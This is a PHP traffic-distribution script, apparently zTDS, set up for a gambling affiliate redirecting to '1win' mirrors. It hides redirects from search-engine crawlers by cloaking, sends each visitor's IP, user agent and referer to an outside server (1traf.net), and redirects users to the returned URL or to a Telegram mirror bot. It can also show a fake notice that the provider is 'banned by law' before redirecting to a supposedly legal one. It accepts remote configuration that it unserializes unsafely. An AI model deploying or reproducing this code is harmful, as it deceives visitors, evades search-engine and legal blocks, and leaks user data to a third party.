<?php

// THIS IS TDSKA 0000001

$tds_group = 'mrs1win'; //tds group name
$tds_siteid = substr(md5($_SERVER['HTTP_HOST']), 0, 6); //site id
$hardlink = '';
$hardname = '';
if (isset($_GET['name'])) {
    $name = htmlspecialchars($_GET['name']);
} else {
    $name = $hardname;
}

@error_reporting(0);
@ini_set('display_errors', 0);
@date_default_timezone_set('UTC');
$z_test_config = 0;
$z_mode = 0;
$z_key_api_host = base64_decode('d3A3N2pkenA4MW5kODZtdnJsNDQ=');
$z_url = 'https://1traf.net/?api=';
$z_conf_edit = 0;
$z_conf_file = 'tds_'.$tds_siteid.'_'.$tds_group.'.ini';
$z_allow_ip = '';
$z_get = 'q';
$z_out_reserved = 'https://t.me/onewin_mirror_bot';
$z_timeout = 10;
if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;}
if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;}
if($z_conf_edit == 0 || ($z_conf_edit == 1 && $z_test_config == 0)){
    $z_conf = array();
    $z_conf['id'] = $tds_group;
    $z_conf['sub_del'] = 0;
    $z_conf['cf_ip'] = 0;
    $z_conf['em_referer'] = 0;
    $z_conf['em_useragent'] = 1;
    $z_conf['em_lang'] = 1;
    $z_conf['ipv6'] = 0;
    $z_conf['ptr'] = 0;
    $z_conf['rd_bots'] = 0;
    $z_conf['rd_se'] = 0;
    $z_conf['rotator'] = 1;
    $z_conf['t_cookies'] = 3600;
    $z_conf['m_cookies'] = 0;
    $z_conf['connect'] = 1;
    $z_conf['conf_lc'] = date("d.m.Y H:i:s");
    $z_conf['status'] = 1;
    $z_conf['ip_serv_seodor'] = '';
    $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8');
    $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8');

    if($z_conf_edit == 1 && $z_test_config == 0){
        $z_conf_default = serialize($z_conf);
        file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX);
        $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
    }
}
if($z_conf_edit == 1 && $z_test_config == 1){
    $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){
    if(!z_ip_check($z_allow_ip)){
        header('HTTP/1.0 404 Not Found', true, 404);
        exit();
    }
    echo serialize($z_conf);
    exit();
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){
    if(!z_ip_check($z_allow_ip)){
        header('HTTP/1.0 404 Not Found', true, 404);
        exit();
    }
    $z_conf = base64_decode($_GET['conf']);
    $z_conf_tmp = @unserialize($z_conf);
    if(is_array($z_conf_tmp)){
        file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX);
    }
    exit();
}
$z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = '';
$z_empty = $z_bot = '-';
$z_uniq = 'yes';
if($z_conf['status'] == 1){
    $z_php_version = 0;
    if(phpversion() >= 7.3){
        $z_php_version = 1;
    }
    $z_useragent = $z_empty;
    if(!empty($_SERVER['HTTP_USER_AGENT'])){
        $z_useragent = $_SERVER['HTTP_USER_AGENT'];
    }
    elseif($z_conf['em_useragent'] == 1){
        $z_bot = 'empty_ua';
    }
    $z_referer = $z_empty;
    $z_se = $z_empty;
    if(!empty($_SERVER['HTTP_REFERER'])){
        $z_referer = $_SERVER['HTTP_REFERER'];
        if(stristr($z_referer, 'google.')){$z_se = 'google';}
        if(stristr($z_referer, 'yandex.')){$z_se = 'yandex';}
        if(stristr($z_referer, 'mail.ru')){$z_se = 'mail';}
        if(stristr($z_referer, 'yahoo.com')){$z_se = 'yahoo';}
        if(stristr($z_referer, 'bing.com')){$z_se = 'bing';}
        if(stristr($z_referer, 'baidu.com')){$z_se = 'baidu';}
    }
    elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){
        $z_bot = 'empty_ref';
    }
    if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){
        $z_ex = explode(",", $z_conf['sign_ref']);
        foreach($z_ex as $z_value){
            $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
            if(stristr($z_referer, $z_value)){
                $z_bot = 'sign_ref';
                break;
            }
        }
    }
    if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';}
    if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';}
    if(stristr($z_useragent, 'google.')){$z_bot = 'google';}
    if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';}
    if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';}
    if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';}
    if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';}
    if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){
        $z_ex = explode(",", $z_conf['sign_ua']);
        foreach($z_ex as $z_value){
            $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
            if(stristr($z_useragent, $z_value)){
                $z_bot = 'sign_ua';
                break;
            }
        }
    }
    $z_cf_country = $z_empty;
    if(!empty($_SERVER["HTTP_CF_IPCOUNTRY"])){
        $z_cf_country = strtolower($_SERVER["HTTP_CF_IPCOUNTRY"]);
    }
    if($z_conf['cf_ip'] == 1 && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])){
        $z_ipuser = $_SERVER["HTTP_CF_CONNECTING_IP"];
    }
    if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){
        if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
            if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ".") > 0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ",") > 0){
                $z_ip = explode(",", $_SERVER['HTTP_X_FORWARDED_FOR']);
                $z_ipuser = trim($z_ip[0]);
            }
            elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ".") > 0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ",") === false){
                if(empty($z_conf['ip_serv_seodor'])){
                    $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
                }
            }
        }
        if(empty($z_ipuser)){
            $z_ipuser = trim($_SERVER['REMOTE_ADDR']);
        }
    }
    if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
        $z_ipuser = $z_empty;
    }
    if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
        $z_bot = 'ipv6';
    }
    if($z_bot == $z_empty && $z_conf['ptr'] == 1){
        $z_ptr_rec = gethostbyaddr($z_ipuser);
        if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';}
        if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';}
        if(stristr($z_ptr_rec, 'google')){$z_bot = 'google';}
        if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';}
        if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';}
        if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';}
    }
    $z_lang = $z_empty;
    if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
        $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
    }
    if($z_lang == $z_empty && $z_conf['em_lang'] == 1){
        $z_bot = 'empty_lang';
    }
    $z_domain = $_SERVER['HTTP_HOST'];
    if($z_conf['sub_del'] == 1 && preg_match("~^.*\.(.+?\..+?)$~", $z_domain, $matches)){
        $z_domain = $matches[1];
    }
    $z_page = $_SERVER['REQUEST_URI'];
    $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){
        $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']);
        $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']);
        $z_t_cookies = time() + $z_conf['t_cookies'];
        $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax');
        if($z_conf['rotator'] == 1){
            if(!isset($_COOKIE[$z_n_cookies])){
                $z_counter = 0;
                if($z_php_version == 1){
                    SetCookie($z_n_cookies, 0, $z_cookies_options);
                }
                else{
                    SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1);
                }
                if($z_conf['m_cookies'] == 1){
                    if($z_php_version == 1){
                        SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options);
                    }
                    else{
                        SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1);
                    }
                }
            }
            else{
                $z_counter = $_COOKIE[$z_n_cookies] + 1;
                $z_uniq = 'no';
            }
        }
        if(empty($z_key)){$z_key = '';}
        if(empty($z_parameter_1)){$z_parameter_1 = '';}
        if(empty($z_parameter_2)){$z_parameter_2 = '';}
        if(empty($z_parameter_3)){$z_parameter_3 = '';}
        if(empty($z_parameter_4)){$z_parameter_4 = '';}
        if(empty($z_parameter_5)){$z_parameter_5 = '';}
        $z_request = array();
        $z_request['key_api'] = $z_key_api_host;
        $z_request['id'] = $z_conf['id'];
        $z_request['ip'] = $z_ipuser;
        $z_request['referer'] = $z_referer;
        $z_request['useragent'] = $z_useragent;
        $z_request['se'] = $z_se;
        $z_request['lang'] = $z_lang;
        $z_request['uniq'] = $z_uniq;
        $z_request['key'] = urlencode($z_key);
        $z_request['domain'] = $z_domain;
        $z_request['page'] = $z_page;
        $z_request['cf_country'] = $z_cf_country;
        $z_request['par_1'] = urlencode($z_parameter_1);
        $z_request['par_2'] = urlencode($z_parameter_2);
        $z_request['par_3'] = urlencode($z_parameter_3);
        $z_request['par_4'] = urlencode($z_parameter_4);
        $z_request['par_5'] = urlencode($z_parameter_5);
        $z_request = $z_url.base64_encode(serialize($z_request));
        if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){
            if($z_conf['connect'] == 0){
                $z_response = @file_get_contents($z_request);
            }
            else{
                $z_ch = curl_init();
                curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout);
                curl_setopt($z_ch, CURLOPT_URL, $z_request);
                curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS');
                $z_response = curl_exec($z_ch);
                curl_close($z_ch);
            }
            $z_response = @unserialize($z_response);
            if(is_array($z_response)){
                $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8'));
                $z_country = $z_response[1];
                $z_region = $z_response[2];
                $z_city = $z_response[3];
                $z_asn = $z_response[4];
                $z_org = $z_response[5];
                $z_device = $z_response[6];
                $z_operator = $z_response[7];
                $z_bot = $z_response[8];
                $z_uniq = $z_response[9];
                $z_lang = $z_response[10];
                $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8'));
                $z_os_name = $z_response[12];
                $z_os_version = $z_response[13];
                $z_browser_name = $z_response[14];
                $z_browser_version = $z_response[15];
                if($z_conf['rotator'] == 1){
                    if(stristr($z_out, '|||')){
                        $z_out_ex = explode('|||', $z_out);
                        if(!empty($z_out_ex[$z_counter])){
                            $z_out = trim($z_out_ex[$z_counter]);
                        }
                        else{
                            $z_out = trim($z_out_ex[0]);
                            $z_counter = 0;
                        }
                    }
                    else{
                        $z_counter = 0;
                    }
                    if($z_conf['rotator'] == 1 && $z_uniq == 'no'){
                        if(isset($_COOKIE[$z_n_cookies_exp])){
                            $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp];
                        }
                        if($z_php_version == 1){
                            SetCookie($z_n_cookies, $z_counter, $z_cookies_options);
                        }
                        else{
                            SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1);
                        }
                    }
                }
                if(stristr($z_out, '[RAWURLENCODE_REFERER]')){
                    $z_out = str_ireplace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out);
                }
                if(stristr($z_out, '[URLENCODE_REFERER]')){
                    $z_out = str_ireplace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out);
                }
                if(stristr($z_out, '[RAWURLENCODE_PAGE_URL]')){
                    $z_out = str_ireplace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out);
                }
                if(stristr($z_out, '[URLENCODE_PAGE_URL]')){
                    $z_out = str_ireplace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out);
                }
                if($z_mode == 1){
                    if(empty($z_out)){
                        $z_out = $z_out_reserved;
                        if(stristr($z_out, '[KEY]')){
                            $z_key = urlencode($z_key);
                            $z_out = str_ireplace('[KEY]', $z_key, $z_out);
                        }
                    }
                    header("Location: $z_out");
                    exit();
                }

if(!empty($z_out)){
    $bablourl = $z_out;

    if ($_GET['link'] == 'orig') {
        $bablourl = $bablourl;
    } elseif (isset($_GET['link'])) {
        $link = htmlspecialchars($_GET['link']);
        $bablourl = $bablourl.$link;
    } elseif (!empty($hardlink)) {
        $bablourl = $bablourl.$hardlink;
    } else {
        $bablourl = $bablourl.'/bets/home';
    }

    if (!empty($name)) {

        if (isset($_GET['sec'])) {
            $sec = htmlspecialchars($_GET['sec']);
        } else {
            $sec = 1;
        }

        if ($_GET['lang'] == 'en') {
            $html_title = $name.': blocked';
            $html_text = 'Provider <b>«'.$name.'» is blocked in your country and banned by law</b>. Redirecting to a legal provider.';
            $html_gobutton = 'Open an approved provider';
        } elseif ($_GET['lang'] == 'uk') {
            $html_title = $name.': заблоковано';
            $html_text = 'Провайдер <b>«'.$name.'» у вашій країні заборонено законом</b>. Перенаправляємо на легального провайдера.';
            $html_gobutton = 'Відкрити дозволеного провайдера';
        } else {
            $html_title = $name.': заблокировано';
            $html_text = 'Провайдер <b>«'.$name.'» заблокирован в вашей стране и запрещён законом</b>. Перенаправляем на легального провайдера.';
            $html_gobutton = 'Открыть разрешённого провайдера';
        }

        echo '    <!DOCTYPE html>
        <html>
            <head>
                <meta charset="UTF-8">
                <meta http-equiv="x-ua-compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
                <title>'.$html_title.'</title>
                <meta name="robots" content="noindex, nofollow">
                <meta http-equiv="refresh" content="'.$sec.';URL='.$bablourl.'" />
                <style>
                    body {
                        font-family:Arial;
                    }
                    .error {
                        max-width: 400px;
                        position: relative;
                        padding: 10px;
                        margin: 10px auto;
                        text-align: center;
                        color: #ba3939;
                        background: #ffe0e0;
                        border: 1px solid #a33a3a;
                    }
                    .btn {
                        background:linear-gradient(to bottom, #d0451b 5%, #a33a3a 100%);
                        background-color:#a33a3a;
                        border-radius:3px;
                        border:1px solid #a33a3a;
                        display:inline-block;
                        cursor:pointer;
                        color:#ffffff;
                        font-size:13px;
                        padding:6px 24px;
                        text-decoration:none;
                        text-shadow:0px 1px 0px #854629;
                    }
                    .btn:hover {
                        background:linear-gradient(to bottom, #bc3315 5%, #d0451b 100%);
                        background-color:#bc3315;
                    }
                    .btn:active {
                        position:relative;
                        top:1px;
                    }
                </style>
                <script>
                    setTimeout(function () {
                        window.location.replace("'.$bablourl.'");
                    }, '.$sec.'000);
                </script>
            </head>
            <body>
                <div class="error">
                    <h1>'.$html_title.'</h1>
                    <p>'.$html_text.'</p>
<svg width="58" height="58" viewBox="0 0 58 58" xmlns="http://www.w3.org/2000/svg">
    <g fill="none" fill-rule="evenodd">
        <g transform="translate(2 1)" stroke="#ba3939" stroke-width="1.5">
            <circle cx="42.601" cy="11.462" r="5" fill-opacity="1" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="1;0;0;0;0;0;0;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="49.063" cy="27.063" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;1;0;0;0;0;0;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="42.601" cy="42.663" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;0;1;0;0;0;0;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="27" cy="49.125" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;0;0;1;0;0;0;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="11.399" cy="42.663" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;0;0;0;1;0;0;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="4.938" cy="27.063" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;0;0;0;0;1;0;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="11.399" cy="11.462" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;0;0;0;0;0;1;0" calcMode="linear" repeatCount="indefinite" />
            </circle>
            <circle cx="27" cy="5" r="5" fill-opacity="0" fill="#ba3939">
                <animate attributeName="fill-opacity" begin="0s" dur="1.3s" values="0;0;0;0;0;0;0;1" calcMode="linear" repeatCount="indefinite" />
            </circle>
        </g>
    </g>
</svg>
                    <p><a class="btn" href="'.$bablourl.'">'.$html_gobutton.'</a></p>
                </div>
            </body>
        </html>';
        exit();
    }

    header("Location: $bablourl");
}

            }
        }
    }
}
function z_ip_check($z_allow_ip){
    if(!empty($z_allow_ip)){
        $z_ip = trim($_SERVER['REMOTE_ADDR']);
        if(stristr($z_allow_ip, ',')){
            $z_ex = explode(",", $z_allow_ip);
            foreach($z_ex as $z_value){
                if(trim($z_value) == $z_ip){
                    return true;
                }
            }
        }
        elseif($z_ip == trim($z_allow_ip)){
            return true;
        }
    }
    else{
        return true;
    }
}
?>